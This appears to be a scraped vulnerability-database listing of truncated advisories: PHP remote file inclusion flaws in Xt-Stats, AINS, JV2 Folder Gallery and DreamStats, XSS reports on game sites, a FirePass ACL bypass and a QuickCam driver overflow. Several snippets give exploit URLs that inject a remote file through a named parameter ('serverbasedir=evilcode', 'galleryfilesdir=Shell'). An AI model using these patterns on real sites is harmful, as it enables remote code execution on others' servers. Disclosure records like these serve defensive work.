CVE-2006-7006

PHP remote file inclusion vulnerability in upload/admin/team.php in Robin de Graff Somery 0.4.4 allows remote attackers to execute arbitrary PHP code via a URL in the checkauth parameter. NOTE: CVE disputes this vulnerability because the checkauth parameter is only used in conditionals...

CVE-2006-7006

CVE-2006-7006 concerns Robin de Graff Somery 0.4.4, where a PHP remote file inclusion through upload/admin/team.php could allow arbitrary PHP execution via a URL in the checkauth parameter. Red Hat/NVD entries reiterate the description but also include a note that CVE disputes this vulnerability ...

PT-2007-1285 · Robin De Graff · Robin De Graff Somery

Name of the Vulnerable Software and Affected Versions: Robin de Graff Somery version 0.4.4 Description: A remote file inclusion issue in upload/admin/team.php allows remote attackers to potentially execute arbitrary PHP code via a URL in the checkauth parameter. However, it's noted that the...

CVE-2006-7006: Undefined Security Weakness

PHP remote file inclusion vulnerability in upload/admin/team.php in Robin de Graff Somery 0.4.4 allows remote attackers to execute arbitrary PHP code via a URL in the checkauth parameter. NOTE: CVE disputes this vulnerability because the checkauth parameter is only used in conditionals...

Unfixed XSS vulnerability at game1002.de

Security researcher THE-SH0CK-B0Y, has submitted on 02/07/2007 a cross-site-scripting XSS vulnerability affecting game1002.de, which at the time of submission ranked 201168 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/07/2007. It is...

Unfixed XSS vulnerability at game1046.de

Security researcher THE-SH0CK-B0Y, has submitted on 02/07/2007 a cross-site-scripting XSS vulnerability affecting game1046.de, which at the time of submission ranked 318132 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/07/2007. It is...

Unfixed XSS vulnerability at game1051.de

Security researcher THE-SH0CK-B0Y, has submitted on 02/07/2007 a cross-site-scripting XSS vulnerability affecting game1051.de, which at the time of submission ranked 240001 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/07/2007. It is...

Unfixed XSS vulnerability at game1059.de

Security researcher THE-SH0CK-B0Y, has submitted on 02/07/2007 a cross-site-scripting XSS vulnerability affecting game1059.de, which at the time of submission ranked 208302 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/07/2007. It is...

CoD2: DreamStats 4.2 - index.php Remote File Inclusion

CoD2: DreamStats 4.2 - index.php Remote File Inclusion ConTact Me:-wWw.Asb-May.Net ScRiPt:-http://callofduty.filefront.com/file/DreamStatsSystem;54520 Discovered By:- ThE dE@Th index.php:- if !$slots include$rootpath . 'html/serveroffline.php';exit;...

JV2 Folder Gallery 3.0 - Remote File Inclusion

Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery3.0.2 Discovered By:- ThE dE@Th template.php:- ExPlOiT: http://www.Site.com/JV2 Folder Gallery/gallery/theme/includemode/template.php?galleryfilesdir=Shell milw0rm.com 2007-01-31...

JV2 Folder Gallery 3.0 - Remote File Inclusion

JV2 Folder Gallery 3.0 - Remote File Inclusion Greatz to:AsB-MaY TeAm & HaCk.eGy & To0oFa ScRiPt:-http://foldergallery.jv2.net/download.php?file=foldergallery3.0.2 Discovered By:- ThE dE@Th template.php:- ExPlOiT: http://www.Site.com/JV2 Folder...

Xt-Stats v.2.4.0.b3 (server_base_dir) Remote File Include Vulnerability

Download:http://www.xt-scripts.com/index.php?dl=32 Finded by ThE dE@Th Greetz For :AsB-May Team & HaCk.eGy xtcounter.php: require $serverbasedir.'management/sources/counterclass.php'; http://www.site.com/path/xtcounter.php?serverbasedir=evilcode milw0rm.com 2007-01-27...

Xt-Stats v.2.4.0.b3 (server_base_dir) Remote File Include Vulnerability

No description provided by source. Download:http://www.xt-scripts.com/index.php?dl=32 Finded by ThE dE@Th Greetz For :AsB-May Team & HaCk.eGy xtcounter.php: require $serverbasedir.'management/sources/counterclass.php'; http://www.site.com/path/xtcounter.php?serverbasedir=evilcode...

AINS 0.02b (ains_main.php ains_path) Remote File Include Vulnerability

No description provided by source. AINS 0.02b - Remote File Include Vulnerabilities Download:http://puzzle.dl.sourceforge.net/sourceforge/wassup/AINS002beta.zip Finded by ThE dE@Th Greetings For :AsB-May Team & HaCk.eGy ainsmain.php: include"$ainspath/ainsglobal.inc";...

Xt-Stats 2.4.0.b3 (server_base_dir) - Remote File Inclusion

Download:http://www.xt-scripts.com/index.php?dl=32 Finded by ThE dE@Th Greetz For :AsB-May Team & HaCk.eGy xtcounter.php: require $serverbasedir.'management/sources/counterclass.php'; http://www.site.com/path/xtcounter.php?serverbasedir=evilcode milw0rm.com 2007-01-27...

Xt-Stats 2.4.0.b3 (server_base_dir) - Remote File Inclusion

Xt-Stats 2.4.0.b3 serverbasedir - Remote File Inclusion Download:http://www.xt-scripts.com/index.php?dl=32 Finded by ThE dE@Th Greetz For :AsB-May Team & HaCk.eGy xtcounter.php: require $serverbasedir.'management/sources/counterclass.php';...

AINS 0.02b - 'ains_main.php?ains_path' Remote File Inclusion

AINS 0.02b - Remote File Include Vulnerabilities Download:http://puzzle.dl.sourceforge.net/sourceforge/wassup/AINS002beta.zip Finded by ThE dE@Th Greetings For :AsB-May Team & HaCk.eGy ainsmain.php: include"$ainspath/ainsglobal.inc"; http://www.site.com/path/ainsmain.php?ainspath=evilcode...

AINS 0.02b - ains_main.php?ains_path Remote File Inclusion

AINS 0.02b - ainsmain.php?ainspath Remote File Inclusion AINS 0.02b - Remote File Include Vulnerabilities Download:http://puzzle.dl.sourceforge.net/sourceforge/wassup/AINS002beta.zip Finded by ThE dE@Th Greetings For :AsB-May Team & HaCk.eGy ainsmain.php: include"$ainspath/ainsglobal.inc";...

SOL7009 - Statement on ACL bypass using trailing NULL byte - MNIN/NNL Advisory

A January 2007 security advisory describes several security issues present in some versions of FirePass software. One section in the document, titled ACL Filter bypass with URL de-normalization, states that Portal Access ACL filters can be bypassed if a user appends a trailing NULL byte after the...

QuickCam Linux设备驱动QCAMVC_Video_Init函数缓冲区溢出漏洞

QuickCam是Logitech罗技公司的摄像头产品。 QuickCam的Linux驱动的初始化函数qcamvcvideoinit中存在缓冲区溢出漏洞，本地攻击者可能利用此漏洞造成拒绝服务或控制系统。 qcamvcvideoinit函数的原型如下： static void qcamvcvideoinitstruct qcamvc qcamvc 如果用户使用了特制的QuickCam对象的话，就会触发这个溢出，导致执行任意指令。 De Marchi Daniele QuickCam VC linux driver = 1.0.9...